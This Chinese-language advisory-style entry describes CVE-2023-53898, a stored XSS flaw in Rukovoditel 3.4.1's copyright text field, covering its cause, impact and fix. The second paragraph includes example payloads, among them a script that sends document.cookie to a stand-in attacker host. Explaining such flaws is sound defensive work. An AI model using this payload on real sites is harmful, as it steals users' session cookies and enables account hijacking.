CVE-2023-53898CVE-2023-53898是Rukovoditel项目中发现的一个高危安全漏洞,属于存储型跨站脚本攻击(Stored XSS)类型。Rukovoditel是一款开源的项目管理和任务跟踪Web应用程序,广泛应用于企业和团队的项目管理场景。该漏洞存在于Rukovoditel 3.4.1版本中,攻击者通过利用应用程序的配置功能,在版权文本字段中注入恶意的iframe和script载荷。由于这些载荷被存储在数据库中并在前端页面渲染时执行,所有访问受影响页面的用户都会受到攻击。攻击成功后,攻击者可以在受害者浏览器中执行任意JavaScript代码,从而窃取会话Cookie、劫持用户账户、进行钓鱼攻击或植入恶意软件。鉴于Rukovoditel通常部署在企业内部网络环境中,该漏洞可能导致敏感业务数据的泄露和内部系统的进一步渗透。此外,低权限认证用户即可触发此漏洞,大大降低了攻击门槛,对使用该版本的企业和个人用户构成严重安全威胁。建议受影响用户立即升级到最新版本或应用官方提供的安全补丁。
该漏洞的根本原因在于Rukovoditel应用程序在处理用户输入的版权文本时缺乏适当的输入验证和输出编码。应用程序使用PHP开发,在存储用户提交的版权信息时,直接将原始输入写入数据库而未进行安全过滤。当其他用户访问包含版权信息的页面时,这些未经过滤的数据被直接嵌入到HTML响应中,导致浏览器将其解析为可执行代码。攻击者可以利用应用程序的配置管理功能,提交包含iframe标签或script标签的恶意载荷,例如:<iframe src="javascript:alert(document.cookie)">或<script>document.location='https://attacker.com/steal?c='+document.cookie</script>。由于这些载荷存储在服务器端,所有访问受影响页面的用户都会自动执行恶意代码。攻击者通常会结合会话劫持技术,通过窃取用户Cookie来冒充合法用户身份,进而在应用程序中执行更多恶意操作。漏洞的认证要求为低权限,意味着普通注册用户即可利用此漏洞,这大大增加了漏洞的利用可能性和危害范围。